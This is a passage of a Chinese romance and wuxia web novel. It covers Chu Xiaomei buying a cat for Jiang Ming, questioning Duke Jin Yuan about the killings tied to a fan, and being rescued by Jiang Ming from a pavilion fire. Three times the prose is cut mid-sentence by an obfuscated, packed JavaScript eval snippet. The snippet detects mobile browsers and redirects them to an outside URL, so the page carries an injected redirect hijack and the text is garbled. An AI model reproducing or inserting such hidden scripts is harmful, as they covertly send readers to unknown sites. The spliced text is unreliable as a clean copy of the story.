这话确是在理的。褚笑眉抿着唇思索片刻，又道：“叶少侠应该刚动身离京，你追上去，告诉他帕中所藏的秘密。他侠骨丹心，是信得过的，余下的事就交给他吧。” 翌日，褚笑眉起身时，白虹前来复命，说她交代的事已转告给叶渡了。 褚笑眉去了趟平远侯府，将那柄惹出许多灾祸的团扇讨回来。 张菁嚷嚷着不依：“哪有这样的道理？这是我赢了你的战利品。” 褚笑眉露出一副看透了她的神情：“说吧，想要什么。” 张菁嘿嘿一笑：“你那只常胜将军……” 她所说的“常胜将军”，是褚笑眉今岁养的一只促织，乃是梅花翅，极其勇猛好斗，从无败绩。 褚笑眉痛心疾首：“你这是狮子大开口啊！” “此前我请你陪我去逍遥宗，你还要走了我两个厨子呢！两个！”张菁道，“这叫礼尚往来。” 褚笑眉只得忍痛割爱，跟她战功赫赫的“将军”挥泪道别。 东市里还有不少兜售蛐蛐的，褚笑眉凑到编织的一个个草笼前，挑选她的下一员猛将。 商人吹得天花乱坠：“您看这只白麻头，头大、项大，雄壮矫健；还有这只蟹胲青，腿多粗啊！喏，这只竹节须，触须直，耐力好……” 白虹睨他一眼，冷冷打断：“闭嘴，我们娘子可是个中行家，用得着你来教？” 褚笑眉看完一圈，都没有满意的。 出了这一家，旁边的铺子是个胡商开的。胡商的店里没有蛐蛐，倒有许多波斯猫——一个两个毛茸茸的小团子挤在一起，可爱得让人心都化了。 “第一次见娘子时，便觉得娘子很像我从前养过的一只猫……” 那人清越的嗓音似又响在耳边。 褚笑眉晃了晃脑袋，想把他的声音从脑海中撵出去。她抱起一只小猫细看，仍旧看不明白，她和这种小东西哪里像了？ 胡商殷勤地迎上来，说出的官话带着浓重的口音，舌头捋不直似的：“小人这里的波斯猫都是从西域来的，血统纯正。” 白虹奇道：“娘子突然想养猫了？” “咳，不是想养。”褚笑眉不知为何，竟显得有些局促，“就……随便看看，若是有好的，倒是可以送人。” 白虹更觉困惑了：“可奴婢记得，张娘子好像不喜欢猫吧？” 18. 第 18 章 褚笑眉解释道：“不是送给阿菁的……” 白虹：“那是要送给谁？” 褚笑眉：“……” 在婢女疑惑的目光中，她的脸渐渐热了起来。她别过头，逃也似的往铺子深处快步走去：“哎呀，别问了。我就……随便看看。” 她还真挑到一只玉雪可爱的猫儿，从头到尾洁白无瑕，没有一根杂毛，同她的莹玉一样。这猫儿还生着一双鸳鸯眼，一只灿金，一只碧蓝，雍容高贵，神气万分。 她将猫儿抱起来，它便亲人地往她颈窝里蹭，柔软的绒毛搔得她发痒。她笑着拥紧它：“就要这只了。” 买猫是一时兴起，可要怎么送出去却成了件麻烦事。 难不成要直接跟他说：“我在东市时看到有胡商卖猫，想起来你喜欢猫，所以买了一只送你？” 感觉也太奇怪了…… 倒像是她时时刻刻惦记着他，巴巴地要往上凑。 要不让白虹用轻功潜进江宅，扔下猫就跑？ 这个念头刚一冒出来，就立马被她遏制住了。要是这么做，就更奇怪了…… 看着在屋里上蹦下跳的小雪团子，她又叹了一口气，苦恼得直皱眉。 算了，先养着吧。 叶渡又返回了京城，递了帖子过来，约她在万里酒肆一见。 酒肆这种地方鱼龙混杂，她从未涉足过。她的华盖香车在酒肆门前停下，引得坐在门口的刀客剑侠纷纷投来探究的目光。 一肥头大耳的中年男子搁下手中的酒碗，醉醺醺地眯着一双眼，不住地往她身上瞟：“哟，这是谁家的小娘子……”调戏的话才说了一半，白虹已欺身上前，腰间短刀铮然出鞘。 那男子神色一凛，面上哪里还有半分醉意？他握住置于桌上的流星锤，朝白虹甩出。只见白虹侧身一避，竟抬手扣住了那流星锤的铁链，往自己身前一拽，将他拽飞过来。 那人迅速于空中调整身形，运起一掌击向白虹。白虹向旁让开半步，绕至他身后，一脚踹中他膝弯。那人去势未尽，又被她踹得下盘不稳，当即扑通一声重重跪到地上。而后他脖子一凉，冰冷的刀刃已贴上了他颈侧。 白虹冷冷道：“敢对我们娘子出言不逊。找死？” 见此变故，与那男子同桌的另外三人围了上来，亮出了各自的兵刃。 “做什么呢！又打打杀杀的！再砸坏老娘的桌椅，别怪老娘不给你们面子，连人带刀扔出长安城去！”老板是个三十上下的妇人，骂骂咧咧地捋起袖子，露出小臂上绷起的肌肉，以及一道极长的蜿蜒狰狞的刀疤。 她说话似乎颇为好使，那气势汹汹的三人被她一骂，都收起了武器，灰溜溜地坐回去了。 白虹见状，也归刀入鞘，一脚将那跪倒在地的中年男子踹开。 那老板向褚笑眉行来，却并非是要迎她进去，反倒拦在她身前，缓和了语气询问道：“娘子是不是走错了地方？我们这儿多是出身草莽的，恐怕会惊扰娘子芳驾。” 青简出言解释：“我们娘子来此是受人邀约，烦请你查一查——叶渡少侠定的是哪一间雅室？” “原来是叶少侠的客人。”老板恍然大悟，“我们这儿俗气，不叫雅室，说的是包间。” 她环顾一周，厉声警告道：“都听见了吧？是叶渡少侠请来的。把你们的眼珠子收一收！” 叶渡的名头竟比这位凶神恶煞的老板还好使，此言一出，四周再没有上下打量的不善视线。 “娘子请随我来。”老板柔声道。 酒肆内没什么文雅摆件，角落里和架上堆着酒坛，支撑房梁的木柱上还有零零散散、新旧不一的刀痕，显然发生过许多打斗。 褚笑眉进了包间，向叶渡问道：“这一回，怎么不直接到我府上来找我了？” “上次是我不懂礼节，姑娘莫要见怪。”叶渡道，“我如今已然知晓，于官宦人家的女儿而言，名声是极要紧的。我千不该万不该，擅自潜入姑娘的宅院之中。” 褚笑眉又问：“那怎么约了这么个地方？” 叶渡摸了摸鼻子，颇有些尴尬。 他原本是想同江铭一样，定在云间楼的。谁知云间楼的管事告诉他：“这位郎君有所不知，我们云间楼只接待文人墨客、名士鸿儒。郎君可有功名在身？” 叶渡自然是没有的。 管事又询问道：“那可做过什么流传甚广的锦绣诗文？” 叶渡也没有。 于是管事十分礼貌客气地将他请了出去。 他在京中打听了一番，闻说八珍居是长安城中最好的酒楼，在贵族豪门中备受推崇。 八珍居的掌柜却道：“三楼已定到了一月后，二楼的得等四个月，一楼是大堂，没有雅室，且至少要等半年……” 褚笑眉听到这里，忍不住笑道：“叶少侠若想进八珍居，下回可以提我。五楼有一间名为‘念奴娇’的雅室，是专为我和平远侯之女张家娘子留着的。” 叶渡奇道：“既然楼上还有空的位置，为何不让人定下？” “这是八珍居的规矩，身份够高，才可以去更高的楼层。”褚笑眉道，“否则即便空着，也不会给人用。” “吃个饭而已，竟也要把人划分出三六九等？就没人觉得不妥吗？” “有何不妥？”褚笑眉问道，“谁不想往高处坐？底下的人想往上爬，上头的人想维持地位。古往今来俱是如此，又何止一个八珍居？” 叶渡叹了口气：“可是坐得太高，就听不见百姓的声音了。” 褚笑眉微微一怔。 一室静默中，市井喧嚣遥遥传来： “热乎香甜的胡麻饼嘞！刚出炉还冒热气儿，咬一口酥脆掉渣，三文钱一个五文钱俩，快来尝尝哟！” “妮儿想吃吗？哎，别担心，阿爷有钱。阿爷今天接了个卸货的大活儿，挣了足足二十文呢！” “……” “姑娘？”叶渡的声音拉回了她的思绪，“我约姑娘相见，是想告诉姑娘，我寻到韩大娘了。” 褚笑眉心中一紧：“她……怎么样？” 叶渡道：“她已于荒郊的一棵老树上自缢了，我没什么能为她做的，置了口薄棺，将她的尸身殓了。” 尽管早预料到会是这样的结果，褚笑眉还是觉得心头沉甸甸的，像是压了块大石。 她向后瞥了一眼，青简当即会意，奉上一柄团扇。褚笑眉道：“这就是念女扇。” 叶渡接过来，动作小心翼翼的。他手上有剑茧，怕蹭到扇面，不慎刮了丝：“久闻其名，确实典雅细腻不似凡品，没想到竟牵扯出这么多条人命。” 褚笑眉问道：“叶少侠接下来有什么计划？” “我此次下山，是来逍遥宗论剑的，早该回山复命了。”叶渡道，“姑娘缘何有此一问？” “这把扇子，总归是要还给刘三娘的家人才好……献于坟前，也算是可以了结残愿。”褚笑眉道，“本想着若是叶少侠顺路，便请你帮我捎去苏州。” 叶渡想了想，道：“交给我吧。待我回山后请示师命，看师父能不能允我跑一趟苏州。即便师父不允，我在江湖上托人帮忙，总比姑娘一介深闺女子门路要多。” 褚笑眉蹙眉道：“到底还是太费事了……” “娘子，奴婢倒是想到了一个人选。”白虹出言提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304370|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒，“江侍郎是金陵人士，金陵与苏州离得不远，不如去请托他相助？” 褚笑眉眼眸一亮：“这倒是个好主意！” 江铭出身世家，在江南江北是一流的名门，差人跑一趟苏州，同吃饭喝水一样简单。这个人情，他总不至于不愿卖给她。 “既如此，我这便启程离京了。”叶渡将团扇奉还给她，抱拳行过一礼，“国公府一事，还未谢过姑娘相救。往后若有缘再见，在下必报此恩。” 日光穿过窗棂，灿金的微尘浮动，晃出一室黄澄澄的暖意。 雪团儿似的小猫跳上了妆台，它早已习惯了往来忙碌的侍婢，并未受到丝毫惊扰。毛茸茸的前爪伸出来，拨弄着台上的珠钗步摇，自得其乐。 白虹捧着绯红金丝缠枝牡丹裙，正要为自家主子更衣，却听褚笑眉道：“这衣裳是不是太奢靡了……” 白虹面露困惑：“这不是娘子最喜欢的衣裙吗？怎么突然嫌起它不好来了？” 褚笑眉道：“我今日……想穿得清雅些。” 青简于柜中翻找了一阵，寻来一件淡青绣幽兰齐胸襦裙，为褚笑眉换上：“这缎子是娘子去岁生辰时收到的贺礼，制成衣裙后娘子嫌它素淡，一直压箱底了，这还是第一回穿呢。” 褚笑眉对着铜镜看了看，蹙眉道：“似乎……不大好看。” “娘子眉目浓烈，不适合这样素净的衣裳。” 褚笑眉仍不死心：“许是发饰不搭的缘故。” 青简在妆奁中拣选一番，挑出一支白玉兰花簪，为她挽了个简单的发髻。 还是不好看。 褚笑眉愈发愁眉苦脸。 青简蓦地开口问道：“娘子突然想改换衣装，可是因为一会儿要见的人？” 褚笑眉红了脸，磕磕绊绊地辩解：“哪有这样的事……我就是想试试不一样的妆扮罢了……” 青简将那玉簪拆下，柔声劝道：“娘子，郎君会替你挑选最华美的头面，张娘子会把侯府最秾艳的锦缎给你送来，国公爷费尽心思替你搜罗天下珍宝……世上多的是人爱你原本的模样。无论是谁，都不值得你为他改变。” 她又去找出来一套玫瑰紫广袖锦缎长袄，并玄色鎏金云纹褶裙：“娘子不如试试这一身？” “太庄重了……”褚笑眉道，“只是简单喝个茶、吃个饭而已。” 挑挑拣拣半晌，待她梳完妆，已耗去了半个时辰。小小一只猫儿在她怀中支起身子，费力地去够她发间步摇垂下的珠玉。 她轻轻点了点小雪团子的额头，递给白虹抱着：“将它一同带去吧。” 既要托江铭办事，这个小家伙正好也有了合适的由头赠与他。 褚笑眉迈入雅室，一袭淡紫织银丝交领襦裙如烟似雾，轻薄地拢住了她。头上步摇叮叮轻响，泛着莹润的银辉。恍如壁画中踏云飞天的神女，琼英容华，桃艳珠彩。 江铭的目光落在她身上，不由得微微一怔。注视片刻后，他蓦然回过神来，惶乱地移开了眼，起身同她见礼。 褚笑眉道明来意，江铭听完她的请求，果真毫不犹豫道：“举手之劳而已，娘子放心，江某定不负所托。” “劳烦侍郎大人了。”褚笑眉道，“我来时路过东市，恰好瞥见一只极漂亮的猫儿，顺手买了下来，权当是请江侍郎帮忙的谢礼。” 小雪团子亲人得很，用鼻尖碰了碰江铭的手指，嗅闻一番后，主动跳进了他怀中。 江铭指节一蜷，轻轻抚上了猫儿的后背。小家伙似乎被他撸得极为舒坦，趴下身子呼噜起来。 他唇角微勾，眸色温柔：“既是娘子所赠，那便请娘子为它起个名字吧。” 19. 第 19 章 褚笑眉垂眸思索，颊上浮起两抹可疑的红晕：“就叫‘小喜’吧。” “小喜，”江铭轻声重复了一遍，宛转的话音缭绕在他唇齿间，听得人耳朵发酥，“很好听。可有什么由来？” 褚笑眉脸上烫得愈发厉害，嗫嚅着解释：“上回江侍郎解我的名，说是‘常生欢喜，举案齐眉’。我从小到大确实过得挺开心的，所以……我的欢喜可以分你一些。” 江铭一怔，手臂上的力道不自觉收紧。小雪团子被勒得不舒服，一爪子糊到了他脸上。 褚笑眉蓦地笑出了声：“小家伙脾气还不小。” 江铭回了神，也低低笑开：“和娘子很像。” “江文颂！”褚笑眉恼道，“我好心给你送猫，你倒来调侃我。” 江铭看了看她，又看了看怀里炸毛的猫儿，强行忍下笑意，低眉顺眼地认错：“嗯，是我不好。” 靖国公又送了新的宝贝过来，有一只涂金嵌宝银薰球，一对镶金兽首玛瑙杯，一套青玉镂雕丹凤纹梳篦，一件螺钿花鸟纹漆盒…… 褚笑眉合上礼单，递回给国公府的管家：“烦请你带回去，也帮我转告公爷，这些东西以后都不必再送了。” “娘子，这……”管家面露难色，“您就收下吧，不然小人没法交差啊。” 褚笑眉叹了口气：“罢了，我跟你去趟国公府，我自己同他说。” 国公府打包送来的礼物，又原模原样地拉了回去。 管家躬着腰，惴惴不安地为褚笑眉引路，额头上沁出了细密的冷汗：“公爷不知道娘子要来，正在书房议事。娘子在此稍候，小人这就进去禀报。” “哎，”褚笑眉叫住了他，“承望哥哥既然在处理公务，就别去打扰了，等他先忙完吧。” “怎敢让娘子久等？”管家道，“娘子放心，您来了，公爷欢喜还来不及呢，算不得打扰。” 只见管家敲了三下房门，听到靳愿那声冷冰冰的“进来”，轻手轻脚地推门而入，转身将门扉重新阖上。 片刻后，刑部、吏部的两位尚书灰溜溜地退了出来。 褚笑眉福身行礼：“曹世伯，阿爷。” “阿眉也来了？”刑部的曹尚书笑得和蔼，回头瞥了眼肃静的书房，压低声音道，“恐怕你来得不大巧，国公爷好像有急事，我方才禀报了一半，他就把我和你阿爷撵走了。” 褚惟庸看着眼前的长女，似乎明白了什么，却也不点破，只道：“不是她来得不巧，是我们两个老头子来得不巧。” “褚尚书这是何意？” 曹尚书话音未落，管家已迎上前，向褚笑眉道：“娘子，公爷现下空闲了，您请进吧。” 在曹尚书瞠目的注视中，褚笑眉朝他们二人又行了一礼，随管家入内了。 曹尚书瞪着一双眼，目光移向褚惟庸：“合着国公爷的急事，就是见你闺女啊？” 褚惟庸笑道：“这么多年了，你还没习惯？” “我那女儿长得也不差，怎么就不能像阿眉这样得国公爷青眼……”曹尚书咬牙道，“你不会哪天摇身一变，当上国公爷的岳丈了吧？” “不会。” 曹尚书：“这么好的一门姻亲，你当真不想攀？” “孩子自己的心意最要紧。”褚惟庸道，“不过，你确实可以着手准备贺礼了，我估摸着……阿眉喜事将近了。” “你既然这么说，想必已查过对方的底细了。” “小孩子的事，做阿爷的总得要掌掌眼。”褚惟庸笑了笑，“那人出身名门，家世清白，样貌和才学都是一等一的好，便是尚公主也使得。老实说，我满意得很。” 袅袅轻烟自博山炉中升起，似白云弥散，龙涎香的气味盈了满室。秋阳斜照，金丝楠木的架格辉光灿烂，孤本古籍蒙上了一层灰蒙蒙的金，愈显厚重珍贵。 紫檀座屏雕刻着山林猛虎，颇有些古朴凶悍之气。屏前置着一张夔龙纹卷书案、一方云龙纹太师椅，朝臣与国公议事时，均是恭立案前，垂首而禀。 靳愿起了身，将这书房中唯一的座椅让给她落座。管家极有眼力见，命人搬了张椅子过来，添置在旁。 这位国公爷年纪尚轻，如今不过二十三岁。却因多年战场杀伐，周身带着凛冽冷意；又久居上位，自有极重的威压。屋内诸人皆战战兢兢、屏息凝神，唯恐行差踏错。 只听靳愿问道：“刚吩咐人给你送东西过去，听说你不肯收……可是有哪一处不合意？” 褚笑眉道：“我什么都不缺，承望哥哥以后不必再为我费心搜罗了。” “从前我给你送时，你总是很欢喜的。”靳愿道，“发生什么事了，可以告诉我吗？” 褚笑眉抿着唇，不知如何作答。 靳愿是国师义子，她阿爷又追随于国师，两家交集颇多。他长她八岁，从小到大都待她极好，可谓是有求必应。 她如今骤然知晓他的行径，他为夺扇屠了刘三娘满门，他因她随口的喜恶剜了孙六的眼……可单论他对她的心意，从来都是好得没话说的。 他记得她是个急性子，不喜欢等待，所以他从来不让她等。在沐浴时听说她来了，连头发都顾不上擦就出来见她；哪怕在处理重要的政务，也会即刻丢开手头的事情。 就连国公府的下人都记得她的喜好，永远备着时兴的话本子供她消遣，铜炉里燃着的总是她最喜欢的玉楼云蜃香，摆上桌的一应茶点饮食皆是她钟爱的…… 她自小就打心眼里亲近他，可他做的这些恶事，又实在让她难以接受。 靳愿蓦地朝她伸出了手，她正在出神，下意识地往后缩了缩。 他被她的反应刺痛，眸色一暗，嗓音中压抑着翻涌的情绪：“你的口脂……蹭花了，我只是想帮你擦一擦。” 褚笑眉捻起手帕，在唇边轻拭：“我自己来就好。” 靳愿收回手，指节微微蜷起，神情落寞：“你今日这般……是为着那柄团扇的事，对吗？” 褚笑眉急忙道：“是我自己查到的，与其他人无关！” 她解释得太过急迫，唯恐牵累到旁人。 靳愿微怔了怔，而后徐徐垂下眼眸，自嘲一笑：“阿眉，你当我是什么人？残忍暴戾、滥杀无辜的人？” 褚笑眉绞紧了手中的巾帕，没有回答。 靳愿道：“东西确实是我吩咐过，要为你买来的。没想到底下的人做得太过了，这绝非我的本意。” 褚笑眉问道：“那你为何要派人去威胁韩大娘，让她闭嘴？” “有这样的事？”靳愿蹙了眉，“我并不知情。” 管家道：“娘子，这件事连小人也没听说过，想来是下面的人自作主张。” 褚笑眉又问：“那孙六的事呢？” 管家道：“他为丞相一党窃取机密，被公爷所察觉，所以才寻了个由头逐出府去。” “当真？” 靳愿抬起眼帘，定定地望着她，一字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311815|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句道：“我与阿眉相识十五年，阿眉不信我，倒要去信外人的挑拨？” “我……” 见她有所动摇，靳愿继续道：“刘三娘之事，我虽是无心，到底也酿成了恶果，经手之人我会严惩。我向阿眉保证，以后必定严加约束，绝不会再让你见到这样的情形。” 靳愿的叙述与叶渡所告知之事天差地别——这两个人，一个凶名在外，却与她多年相知相伴；另一个仅有几面之缘，但仁心侠名满天下——她不晓得究竟该相信谁。 从国公府出来后，褚笑眉的思绪愈发乱了。车轮辘辘碾过青石砖的地面，路边的喧嚣吵嚷不休，纷纷扰扰。 侍婢奉上来一张帖子，是户部尚书的夫人王氏送来的，请她去府上赴游园会。王氏乃是王丞相之女，当今太后的胞妹，又有三品诰命在身。 这一场宴会，褚笑眉自然是得去的。 受邀的都是京中贵女，她与张菁同坐一席，不期然竟在末座瞥见了吴媚的身影——那位出身低微，却声名远扬的京中第一才女。 先帝作为大雍的开国之君，后宫却仅有一人。即便那位娘娘不能生育，仍始终未纳一位妃嫔。当今这位圣上，是从太后娘娘的母家——王丞相家中过继来的。 因此，朝臣纷纷效仿，皆不行纳妾之风。 而吴媚是从七品的左补阙之女，且是妾室所出。身份既低，还有些不大光彩。 褚笑眉轻嗤一声：“她怎么在这儿？” “人家想攀龙附凤也不是第一天了。”张菁耸了耸肩，漫不经心地饮了口菊花酒，“谁晓得她用什么门路，竟弄到了请帖。” 宴会的主人王氏年逾四十，但保养得宜，脸上并无多少岁月的痕迹。 却听她开口道：“我园中植了不少菊花，眼下正是好时节。不如请诸位娘子移步赏菊，即兴赋诗。” “无聊。”褚笑眉和张菁异口同声，低低叹气。 王氏又道：“今日的游园会，我还请来了今科的状元、榜眼、探花三位郎君，一同品评诗作。” 状元郎……也就是说，江铭也来了。 宴上男女分席，褚笑眉并未看见他。如今骤然知晓他也在场，她莫名开始局促起来。 满园花菊开得极好，锦绣团簇，万蕊争妍。有鹅黄若新柳初染，有橙红似晚霞映水，更有紫云缥缈，绿萼含羞。 贵女们装模作样赏着菊，实则一个两个都借着鉴诗的由头，往江铭身边凑。 榜眼已是个五十来岁的老头子了；探花郎倒是年轻貌美，比江铭却要逊色不少，且早在榜下被人捉了作婿。 如今尚未婚配的，偏生是这位郎独绝艳、文采斐然的状元。 连张菁都忍不住感叹：“状元郎长得比探花郎好看的，我还是头一回见。” 眼见江铭被紫燕黄莺团团围住，褚笑眉一口银牙都快咬碎了。可她是个不通文墨的，又作不出什么诗来，只能在一旁干看着。 只听那位榜眼高声赞道：“吴娘子这一首《晚菊吟》，诗意峥嵘、气骨凛然，愚以为可拔得头筹。” 他这一句赞言，登时让吴媚受到了众人的瞩目。 探花郎也凑过去看，点头道：“确实妙极。” “承蒙谬赞。在二位面前，我不过是班门弄斧罢了。” 吴媚垂眸浅笑，复又徐徐抬起那双妍丽的桃花眼，与江铭的视线隔空交汇。 “我这一首拙作，不知能否有幸……请文颂指点一二？” 20. 第 20 章 文颂。 她倒是叫得亲密。 褚笑眉攥紧了手中的巾帕，直勾勾盯着江铭。 却见江铭将那诗作接了过去，逐字吟诵： “西风过处卷寒霜，百花凋尽立金芒。” 他略略一顿，抬眸望了吴媚一眼，毫不掩饰面上的惊叹之色，一字一句念完： “禹魄未销娲石在，敢持秋蕊补天苍。” 吴媚行至他近前，神情含羞带怯：“文颂以为如何？” “娘子胸有丘壑，”江铭道，“此诗苍茫开阔之意，堪称绝妙。” 他继续解道：“霜风苦寒，百花凋尽，唯余秋菊傲然独立。‘金芒’二字极有新意，铮铮气骨，跃然纸上。 “又用大禹、女娲之典，以补天作比言志。娘子虽是纤纤弱柳之质，却怀安邦定国之心。” 吴媚红了脸，垂下头道：“只是侥幸得句，岂敢言工。” 江铭道：“娘子过谦了。素闻娘子乃京中第一才女，果真名不虚传。” “长安城中就她一个会作诗的不成？”褚笑眉冷哼一声，向婢女吩咐道，“青简，也替我作一首……” 余下半句话，颇有些咬牙切齿的意味：“我拿去会会这位‘第一才女’。” “阿眉，别斗气。”张菁劝道，“全京城都晓得你不擅诗文，若是让青简代笔，只怕反而沦为笑柄。” “我倒要看看，谁敢笑话我。”褚笑眉催促道，“青简，去写。” 见她执意如此，张菁只好嘱咐一句：“写得简单易懂些，故意弄错几处韵律。这样勉强还能圆过去。” 褚笑眉道：“不必，你尽管使出全力，定要赢过这位大名鼎鼎的才女。” 青简是褚笑臣一手调教出来的，熟读诗书，颇有才学。她思索片刻，提笔写下一首《咏菊》，留着褚家娘子的落款。 这诗作到了探花郎手里，只听他扬声称赞：“我这里也得了篇极佳的！” 江铭和那位榜眼皆凑上前看。 探花郎念道：“金绡垂露叠琼芳，醉染仙宫万点霜。非是孤高辞玉砌，只将清魄铸秋香。作诗之人是褚……” “这一首不好。”江铭打断道。 青简的诗才，是连褚笑臣都夸赞过的。探花郎也说了此诗绝佳，江铭却一口否定，分明是有意针对！ 难不成他当真对那位才女吴娘子动了心，见不得有人抢她风头？ 褚笑眉脸色愈沉，恶狠狠地瞪向他，手帕被她撕来扯去，帕上的经纬都移了位。 “为何不好？”那位榜眼面露困惑，询问道，“瑰美绮丽，用词精巧；而后笔锋一转，尽抒不慕荣华、清高自守之意，可谓上乘佳作。” 江铭道：“古往今来，论起菊来，动辄是高洁脱俗、淡泊名利，未免落于窠臼；且此诗太过工于辞藻，匠气极重，属实平平。 “还是再看看别的吧。” 状元郎都发了话，另外两位虽一开始叫了好，此时却也不便再出言辩驳。 褚笑眉愈听愈气。 在他口中，就连词句华美也成了错处——这还不是在偏帮吴媚？ 既然这般喜欢那位吴娘子，这些日子里，为何还要同她如此亲近？让她以为，她才是不一样的那个…… 她更觉得委屈了，眼圈渐渐泛红，泪水在眸中摇摇欲坠。她死死咬住下唇，才没让自己当场哭出来。 鼻头酸得厉害，她转过身，逃也似地离开此处。 “阿眉……” “娘子……” 张菁和侍女在身后唤她，她狼狈地用丝帕掩面，低声喝道：“别跟过来！” 这场游园会办得声势浩大，花厅、次厅、游廊处处皆有人在。她逃进了醉霞阁，上到三层，终于得了一片僻静。 恰近日暮时分，云霞漫天，映得阁内旖旎绚烂。 她无心赏景，只拼命地想忍住泪意。可越往下压，情绪偏偏越不受控；眼泪不住地涌出来，浸湿了巾帕。 鼻间隐隐嗅到一阵呛人的烟味，她抬起头来，却见四周升腾着黑烟。 楼外有人喊着：“着火了！快来人救火啊！” 褚笑眉心中一紧，连忙趴到窗边，往下望去—— 只见醉霞阁的底部燃着熊熊火焰，将梁柱檐瓦渐渐蚕食。 她再顾不上难过，急忙提裙往下逃，跑到二层时，却见楼梯已被火势吞噬，绝了她出逃的路。 完了…… 她只得调转身形，回到上层，在窗前向外挥手呼救。 外头的人很快就发现了她，但他们除了抬水来灭火，也没有别的法子。 黑烟越来越浓，褚笑眉吸进去了不少，躬下腰呛咳着。她用手帕捂住口鼻—— 幸好她方才狠狠哭了一场，这帕子润湿了一大块，勉强够她维持呼吸。她一时有些啼笑皆非，不知是该说自己被困火场，倒霉透顶；还是尚有保命之物，不乏幸运？ 火烧得更大了。用水灭火的速度，远远追不上火势蔓延的速度。 支撑的斗拱被烧毁，高阁开始垮塌，摇摇欲坠。 浓烟熏得她睁不开眼，她摸索前行，寻到一处结构稳固的角落，蜷缩起身子等待救援。手帕已失却了效用，她咳得头晕目眩，胸闷气短，意识也逐渐模糊。 眼前掠过一抹白影，一方浸了水的冰冷巾帕覆住了她的下半张脸。 “娘子，醒醒，别睡……” 褚笑眉费力地睁开眼，映入眼帘的是熟悉的织金云锦。她目光缓缓上移，看见了江铭焦灼的脸。 他浑身湿透，丰润的唇失却了血色，微微发着抖。发觉她清醒过来，江铭显然松了口气，呼吸却仍有些乱：“别怕，我带你出去。” “冒犯了。”他轻声致歉，脱下湿漉漉的外衫，将她整个人裹住，托着她膝弯打横抱起来。 “你怎么在这儿？”褚笑眉问道。 “听说醉霞阁失火，我遍寻不见娘子，”江铭寻着火势薄弱的地方往外走，回答道，“所以……” 他顿住了，没再说下去。 “就这么丢下你的吴娘子？” “我和她并没有什么关系。” “你不是喜欢她吗？” 江铭被她问得一怔，半是无奈半是好笑：“娘子听谁说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330199|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “我亲眼看见的，你和她谈诗论画，相处甚欢。”褚笑眉道，“她容貌姣好，还是京中第一才女，追捧她的男子不少。你心悦于她，倒也不足为奇。” “她才貌双全，我便该喜欢她？”江铭微蹙了眉，“娘子这话不讲道理……莫要乱点鸳鸯谱了。” “哪里不讲道理？堂堂今科状元郎，本就学富五车，难道不中意她这样满腹才学的女子？” 江铭沉默良久，耳尖被火光映得发红，清越的嗓音放得极轻：“可她又不会给我送猫，也不会同我说……要把她的欢喜分我一些。” “当心！”褚笑眉骤然喝道。 头顶的房梁直直坠落，劲风从上往下袭来。江铭正抱着她，不好辗转腾挪；这横梁落得太快太急，更来不及躲闪。 情急之中，他连忙俯身，用后背挡住这一下，将她护得严严实实。 “文颂！！” 江铭闷哼一声，被砸得跪倒在地。一枚荷包从他怀中跌落，看着分外眼熟。他仓皇地去捡拾，藏入袖中——褚笑眉却已然看清了。 那荷包是浅蓝色，其上绣着金玉满堂的纹样，正是她在护国寺中丢的那一只！ 江铭承诺过要替她寻回，可既然找到了，怎的又不还给她？ “咳咳……”她正想询问，却见江铭呕出了一大口鲜血。那赤红的血落在裹住她的云锦外衫上，其中几滴溅到了她的衣襟，好似火烧一般灼得她心口生疼。 江铭一手撑住了地面，勉强稳下身形，抱着她的另一只手仍没有松开。 “抱歉，弄脏了娘子的衣裳。” “江文颂！你还说这个做什么？！你差点就没命了！”褚笑眉的双眼红得厉害，眸中震颤着泪光，“你就不怕死吗？” “怕。” “那你为什么还来救我？你从小苦读，如今高中状元，前程不可限量……何必要冲进火场涉险？” 江铭踉跄起身，呼吸有些急促，显然在压抑着痛楚：“若我不来，我会后悔的。” 他将她牢牢护在怀中，强闯过烈火覆盖之处：“我要抱着你跳下去。你要是害怕，就闭上眼。不会摔着你的，我会轻功。” 褚笑眉没有闭眼，在呼啸的风声中，她定定地望着他绝艳的眉眼。这双托着她的手，带她安然落了地。 江铭将她放下，行礼赔罪：“方才对娘子多有不敬……” “你伤得重吗？”褚笑眉上前一步，急迫地打断了他。 “娘子放心，无甚大碍。” “现下同我计较起礼数来了。”褚笑眉道，“方才那只荷包是怎么回事，江侍郎不打算解释一下吗？” “我……”江铭垂下眼眸，从袖中取出那只金玉满堂的荷包，捧在手里奉还给她，“早该还与娘子的。” 褚笑眉却没有去接：“那为什么没有还我？” “江某僭越失礼，但凭娘子发落。” “江侍郎，我问的是为什么。” 褚笑眉再度迫近了他，一字一句重复。 